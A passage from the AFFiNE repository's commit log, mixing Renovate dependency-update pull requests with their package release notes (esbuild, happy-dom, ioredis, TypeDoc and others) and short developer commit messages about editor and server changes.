    Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.

-   Omit legal comment output files when empty ([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

    Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.

-   Update Go from 1.23.1 to 1.23.5 ([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056), [#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

    This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.

    This PR was contributed by [@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

-   Allow passing a port of 0 to the development server ([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

    Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.

    Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.

    Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.

-   Minification now avoids inlining constants with direct `eval` ([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

    Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.1...v17.0.2)

##### 👷‍♂️ Patch fixes

-   The property "tabIndex" should return "0" by default in `HTMLAnchorElement`, `HTMLAreaElement`, `HTMLButtonElement`, `HTMLIFrameElement`, `HTMLInputElement`, `HTMLMediaElement`, `HTMLObjectElement`, `HTMLSelectElement` and `HTMLTextAreaElement` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1714](https://redirect.github.com/capricorn86/happy-dom/issues/1714)

### [`v17.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.0...v17.0.1)

##### 👷‍♂️ Patch fixes

-   Ensure `querySelector()` returns the first item that appears in the DOM for grouped selectors - By **[@&#8203;christiango](https://redirect.github.com/christiango)** in task [#&#8203;1710](https://redirect.github.com/capricorn86/happy-dom/issues/1710)

</details>

<details>
<summary>luin/ioredis (ioredis)</summary>

### [`v5.5.0`](https://redirect.github.com/luin/ioredis/blob/HEAD/CHANGELOG.md#550-2025-02-07)

[Compare Source](https://redirect.github.com/luin/ioredis/compare/v5.4.2...v5.5.0)

##### Features

-   Add ability for nat mapping through function ([#&#8203;1948](https://redirect.github.com/luin/ioredis/issues/1948)) ([3a04bee](https://redirect.github.com/luin/ioredis/commit/3a04bee10995832303916fe8c7854eb6f3dcb65d))
-   **HscanStream:** adding NOVALUES option ([#&#8203;1943](https://redirect.github.com/luin/ioredis/issues/1943)) ([2f9843d](https://redirect.github.com/luin/ioredis/commit/2f9843ddfa8d46cbee6c858fefbf9c2cd3852503))

#### [5.4.2](https://redirect.github.com/luin/ioredis/compare/v5.4.1...v5.4.2) (2024-12-20)

##### Bug Fixes

-   Connection instability when using socketTimeout parameter ([#&#8203;1937](https://redirect.github.com/luin/ioredis/issues/1937)) ([ca5e940](https://redirect.github.com/luin/ioredis/commit/ca5e9405f80318ef35c42d23da640df4b88b6670)), closes [#&#8203;1919](https://redirect.github.com/luin/ioredis/issues/1919)

#### [5.4.1](https://redirect.github.com/luin/ioredis/compare/v5.4.0...v5.4.1) (2024-04-17)

##### Bug Fixes

-   remove console.log ([558497c](https://redirect.github.com/luin/ioredis/commit/558497cba8dc7487c06c7765ddbe12b479bd9b9b))

</details>

<details>
<summary>ospfranco/link-preview-js (link-preview-js)</summary>

### [`v3.0.14`](https://redirect.github.com/OP-Engineering/link-preview-js/releases/tag/3.0.14)

[Compare Source](https://redirect.github.com/ospfranco/link-preview-js/compare/3.0.13...3.0.14)

#### What's Changed

-   feat: drop uneeded polyfills by [@&#8203;talentlessguy](https://redirect.github.com/talentlessguy) in [https://github.com/OP-Engineering/link-preview-js/pull/163](https://redirect.github.com/OP-Engineering/link-preview-js/pull/163)

#### New Contributors

-   [@&#8203;talentlessguy](https://redirect.github.com/talentlessguy) made their first contribution in [https://github.com/OP-Engineering/link-preview-js/pull/163](https://redirect.github.com/OP-Engineering/link-preview-js/pull/163)

**Full Changelog**: https://github.com/OP-Engineering/link-preview-js/compare/3.0.13...3.0.14

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.475.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.475.0): New icons 0.475.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.474.0...0.475.0)

#### New icons 🎨

-   `circle-small` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars-stroke` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `non-binary` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `transgender` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus-and-mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.7`](https://redirect.github.com/markedjs/marked/compare/v15.0.6...bf4952f4958cb3fef586deaa7299c1e462072a3a)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.6...v15.0.7)

</details>

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.1.2`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.1.2)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.1...nestjs-cls@5.1.2)

##### Bug Fixes

-   **core**: allow all Object.prototype key access on strict providers ([#&#8203;214](https://redirect.github.com/Papooch/nestjs-cls/issues/214)) ([e938c6d](https://redirect.github.com/Papooch/nestjs-cls/commits/e938c6d))

### [`v5.1.1`](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.0...f9b14d4ea8508c26272fd5be3da526347c49f4f1)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.0...nestjs-cls@5.1.1)

### [`v5.1.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.1.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.0.1...nestjs-cls@5.1.0)

##### Bug Fixes

-   **core**: allow accessing constructor on strict proxy providers ([#&#8203;211](https://redirect.github.com/Papooch/nestjs-cls/issues/211)) ([bf0f871](https://redirect.github.com/Papooch/nestjs-cls/commits/bf0f871))

##### Features

-   **core**: add saveCtx option in enhancer setup

This allows storing the ExecutionContext in the CLS (enabled by default) ([4dcda62](https://redirect.github.com/Papooch/nestjs-cls/commits/4dcda62))

-   **core**: add `saveCtx` option in enhancer setup ([#&#8203;212](https://redirect.github.com/Papooch/nestjs-cls/issues/212)) ([4dcda62](https://redirect.github.com/Papooch/nestjs-cls/commits/4dcda62))

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>prettier/prettier (prettier)</summary>

### [`v3.5.0`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#350)

[Compare Source](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

[diff](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

🔗 [Release Notes](https://prettier.io/blog/2025/02/09/3.5.0.html)

</details>

<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>

### [`v4.12.5`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/react-virtuoso%404.12.5)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/react-virtuoso@4.12.4...react-virtuoso@4.12.5)

##### Patch Changes

-   [`b1d4519`](https://redirect.github.com/petyosi/react-virtuoso/commit/b1d4519): Revert node requirements

### [`v4.12.4`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/react-virtuoso%404.12.4)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.3...react-virtuoso@4.12.4)

##### Patch Changes

-   [`fdbf0c5`](https://redirect.github.com/petyosi/react-virtuoso/commit/fdbf0c5): Updated to latest tooling
-   [`fdbf0c5`](https://redirect.github.com/petyosi/react-virtuoso/commit/fdbf0c5): correct TS types for custom component, context is always passed

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.7`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0277-2025-02-09)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.6...v0.27.7)

##### Features

-   `@includeCode` and `@inline` can now inject parts of files using region
    names or line numbers, [#&#8203;2816](https://redirect.github.com/TypeStrong/TypeDoc/issues/2816).
-   Introduced `ja` translation options, deprecated `jp` in favor of `ja`, [#&#8203;2843](https://redirect.github.com/TypeStrong/TypeDoc/issues/2843).
-   Improved TypeDoc's `--watch` option to support watching files not caught by
    TypeScript's watch mode, [#&#8203;2675](https://redirect.github.com/TypeStrong/TypeDoc/issues/2675).
-   The `@inline` tag now works in more places for generic types.
-   Visibility filters now consider individual signatures, [#&#8203;2846](https://redirect.github.com/TypeStrong/TypeDoc/issues/2846).

##### Bug Fixes

-   Fixed an issue where TypeDoc would incorrectly ignore type arguments in references, [#&#8203;2823](https://redirect.github.com/TypeStrong/TypeDoc/issues/2823).
-   Improved narrator support for labeling icons, [#&#8203;2832](https://redirect.github.com/TypeStrong/TypeDoc/issues/2832).
-   Fixed an issue with `@class` incorrectly handling mapped types, [#&#8203;2842](https://redirect.github.com/TypeStrong/TypeDoc/issues/2842).
-   TypeDoc will now consider symbols to be external only if all of their declarations are external
    so

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 13:25:15 +00:00
fengmk2 67b6c28d67 refactor(server): use user model on oauth plugin (#10031)
close CLOUD-117
2025-02-10 20:26:34 +08:00
L-Sun 23364b59a0 fix(editor): wrap doc title by default (#10052)
Close [AF-2195](https://linear.app/affine-design/issue/AF-2195/editor-的-title-overflow-时没有换行)
2025-02-10 11:30:14 +00:00
fundon d03744688b refactor(editor): move embed-card-modal to components (#10037) 2025-02-10 10:56:13 +00:00
akumatus 397887e3b5 fix(core): not using Internet search after user selects document or file (#10058)
Fix issue [BS-2546](https://linear.app/affine-design/issue/BS-2546).
2025-02-10 10:40:14 +00:00
pengx17 6839e634e7 fix: at menu toolip should always use the default color (#10054)
fix AF-2194
2025-02-10 18:22:25 +08:00
fengmk2 0757f29f83 refactor(server): use doc model on doc cron job (#10057) 2025-02-10 09:52:44 +00:00
renovate e8bac17b3c chore: bump up nestjs (#10040)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.6` -> `2.4.9`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.9` -> `1.2.12`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.9`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.8...@nestjs-cls/transactional@2.4.9)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.8...@nestjs-cls/transactional@2.4.9)

### [`v2.4.8`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.7...@nestjs-cls/transactional@2.4.8)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.7...@nestjs-cls/transactional@2.4.8)

### [`v2.4.7`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.6...@nestjs-cls/transactional@2.4.7)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.6...@nestjs-cls/transactional@2.4.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 08:29:10 +00:00
Brooooooklyn 97f3b78924 chore: update nolyfill list (#10027) 2025-02-10 08:13:10 +00:00
fundon 9689811226 fix(editor): typos on embed card modal (#10046) 2025-02-10 07:57:10 +00:00
L-Sun 9f56a21d8a feat(editor): add animation for switching to edgeless mode firstly (#10021)
Close [BS-2327](https://linear.app/affine-design/issue/BS-2327/page-block-%E5%9C%A8-edgeless-%E5%88%87%E6%8D%A2%E7%BC%A9%E6%94%BE%E5%8A%A8%E7%94%BB)

### What Changes:
- Add a zoom animation when switching to edgeless mode firstly
- Move viewport record from `sessionStorage` to `localStorage`

https://github.com/user-attachments/assets/dac11aab-76bd-44b1-8c0e-4a8a10919841
2025-02-10 07:41:10 +00:00
doodlewind 1d1eab8139 fix(editor): workaround empty text in insertText (#10049)
`sentry-5a32bef4f2724b5f8e6f31791cb20feb`
2025-02-10 07:24:26 +00:00
Oleg d4f0c53a0c feat(core): frame editor settings (#9970)
Co-authored-by: L-Sun <zover.v@gmail.com>
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-02-10 15:23:32 +08:00
Brooooooklyn 03b806384c ci: fix doc deployment container port (#10048) 2025-02-10 07:06:10 +00:00
forehalo c3f5b4abb4 test(server): utils (#10028) 2025-02-10 06:35:11 +00:00
Flrande 8f6b512cfd feat(editor): update edgeless media entry icon and anime (#10047) 2025-02-10 05:59:07 +00:00
doodlewind 614ae024c2 fix(editor): workaround empty content in worker renderer (#10043) 2025-02-10 03:35:50 +00:00
EYHN 92f4f0c2d9 feat(core): guard service (#9816) 2025-02-09 23:26:38 +00:00
EYHN 879157b938 fix(core): hide export tab on mobile (#10038) 2025-02-09 20:36:25 +08:00
fengmk2 09b5eb60eb refactor(server): handle ConnectedAccount on user model (#10030) 2025-02-09 08:31:02 +00:00
Brooooooklyn 18513c6e55 chore: make DOC_SERVICE_ENDPOINT dynamic computed (#10029) 2025-02-08 05:27:57 +00:00
fengmk2 e5d1cd9ea2 feat(server): use doc service (#9967)
close CLOUD-94
2025-02-08 05:27:56 +00:00
zzj3720 ee0df52531 feat(editor): table block supports copy and paste in HTML format (#10020)
close: BS-2483
2025-02-08 04:40:12 +00:00
fengmk2 5d62c5e85c feat(server): implement doc service (#9961)
close CLOUD-94
2025-02-08 03:37:41 +00:00
JimmFly 5ae5fd88f1 feat(core): add doc grant feature to share menu (#9672) 2025-02-07 13:05:58 +00:00
L-Sun 459972fe6c fix(editor): add missing zod schema for edgeless frame (#10024)
Related to https://github.com/toeverything/AFFiNE/pull/9970#discussion_r1944971309

### What changes:
- Add missing zod shcema for edgeless basic props
- Change `applyLastProps` to generic function for better return type inference of
- Fix: add `ZodIntersection` case to `makeDeepOptional`
2025-02-07 12:49:59 +00:00
fengmk2 36ed81bcc6 refactor(server): use doc model on PgWorkspaceDocStorageAdapter (#9852)
close CLOUD-104
2025-02-07 12:21:58 +00:00
forehalo 0b9d30b55a refactor: rename all page query to doc (#10019) 2025-02-07 11:40:59 +00:00
Brooooooklyn 4e00ddd5f1 feat(server): graceful shutdown for AI streams (#10025)
https://github.com/user-attachments/assets/8dd3c4f5-4059-4f03-9f51-68078d7ab5c4
2025-02-07 11:25:02 +00:00
donteatfriedrice 0df94b8e35 fix(core): typo (#10022)
[BS-2532](https://linear.app/affine-design/issue/BS-2532/typo-tidy-a-article-with-ai-mindmap-action-tidy-an-article-with-xxxxx)
2025-02-07 11:09:00 +00:00
Brooooooklyn 1fda17af64 chore: remove depracated package (#10018) 2025-02-07 10:38:58 +00:00
donteatfriedrice b38389c670 feat(core): add tooltip for import dialog snapshot item (#10013)
[PD-2132](https://linear.app/affine-design/issue/PD-2132/import-导入优化:snapshot-需要一个问号,解释文档)
2025-02-07 10:23:59 +00:00
JimmFly d5a626d9c3 feat(core): optimize team workspace member management (#9737)
close AF-2106 AF-2077 AF-2089

feat(core): handle need more seat status

feat(core): prevent invite members when team plan is canceled
2025-02-07 10:08:00 +00:00
CatsJuice 85d916f1eb feat(mobile): create from template on mobile (#9968) 2025-02-07 09:52:59 +00:00
CatsJuice 527878a55c chore(core): allow to rename and add multiple template property (#9972) 2025-02-07 09:36:58 +00:00
CatsJuice b4f078b9c9 feat(core): add deleted state for sidebar journal template (#9980) 2025-02-07 09:09:58 +00:00
Brooooooklyn 2ed54ad421 test(server): grant doc user roles (#10016) 2025-02-07 08:54:27 +00:00
Brooooooklyn 9262cb120c test(server): update page default role with non-exists workspace (#10012) 2025-02-07 08:27:58 +00:00
CatsJuice f13aac7331 chore(core): adjust starter-bar badge size (#9976) 2025-02-07 08:01:58 +00:00
forehalo 4b1c931503 fix(server): default page owner (#10015) 2025-02-07 07:31:56 +00:00
pengx17 9fd547d484 chore(core): upload flaky test traces (#9974) 2025-02-07 15:15:45 +08:00
Yifeng Wang fc4fe481ef refactor(editor): improve worker renderer code structure (#10011) 2025-02-07 14:59:08 +08:00
Flrande 7eb1ed170c feat(editor): add edgeless media entry (#9949) 2025-02-07 06:10:11 +00:00
forehalo 12cc94f32a fix(server): batch grant page roles (#10007) 2025-02-07 05:55:07 +00:00
Yifeng Wang b9ad53ae68 feat(editor): support reusing bitmap cache when panning (#10008) 2025-02-07 04:59:43 +00:00
pengx17 3f0a9f4433 feat(core): index table block types (#9989)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/b7eeb6fa-75b7-453a-9faa-5f6e9701089b.png)

fix BS-2520
2025-02-07 04:04:27 +00:00
liuyi 00b1f01f9b feat(server): add public user type (#10006) 2025-02-07 04:03:59 +00:00
JimmFly e68bdbde3e feat(core): add self host team plan (#9569) 2025-02-07 03:35:24 +00:00
Brooooooklyn 5710e8c639 fix(server): generate migration for workspace pages default role (#10002) 2025-02-07 03:16:54 +00:00
renovate d45d6d8a61 chore: bump up all non-major dependencies (#9996)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.741.0` -> `3.743.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.0` -> `34.1.1`](https://renovatebot.com/diffs/npm/electron/34.1.0/34.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.0/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.0/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.1` -> `2.3.2`](https://renovatebot.com/diffs/npm/shiki/2.3.1/2.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.1/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.1/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
